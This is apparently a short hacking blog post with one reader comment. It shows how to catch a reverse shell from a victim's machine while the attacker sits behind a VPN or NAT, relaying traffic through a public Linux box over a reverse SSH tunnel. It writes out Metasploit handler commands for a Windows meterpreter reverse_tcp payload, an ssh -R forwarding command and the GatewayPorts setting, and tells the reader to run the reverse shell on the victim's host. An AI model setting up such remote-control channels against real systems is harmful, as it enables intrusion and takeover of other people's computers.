LAN to VPN Reverse Shell (Reverse SSH Technique)

Hi there,

How to get reverse shell if you are behind VPN (NAT) and you can't or don't want to make port-forwarding?
It's another, less popular reverse shell method, that needs some requirements and preparations.

reverse shell, hacking, ssh tunneling

By the way, you may try out UDP Hole Punching Technique or use this one instead.

Do do so, you will need some linux box with public IP and root access level.

Let's create Reverse shell via Reverse SSH Tunnel:

1. Start up exploit/multi/handler listening on 443 port (locally):
use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST
msf exploit(handler) > set exitonsession false
msf exploit(handler) > run -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 
[*] Starting the payload handler...
msf exploit(handler) > 

2. Create Reverse SSH Tunnel with public linux box:
root@kali:~# ssh -R 443:

Just to remind ssh tunneling syntax:
-R will open port 443 on and will forward all traffic to attackers host in our case:

3. Run reverse shell on victim's host.
4. Profit!

But to make it work you should add this line to /etc/ssh/sshd_config file (on linux host):
GatewayPorts yes

Otherwise, linux box will listen on localhost only and will be unable to accept connections externally.

  1. But if you put a host that identify you because you are the owner, for what do you want a vpn? Do It directly then no?
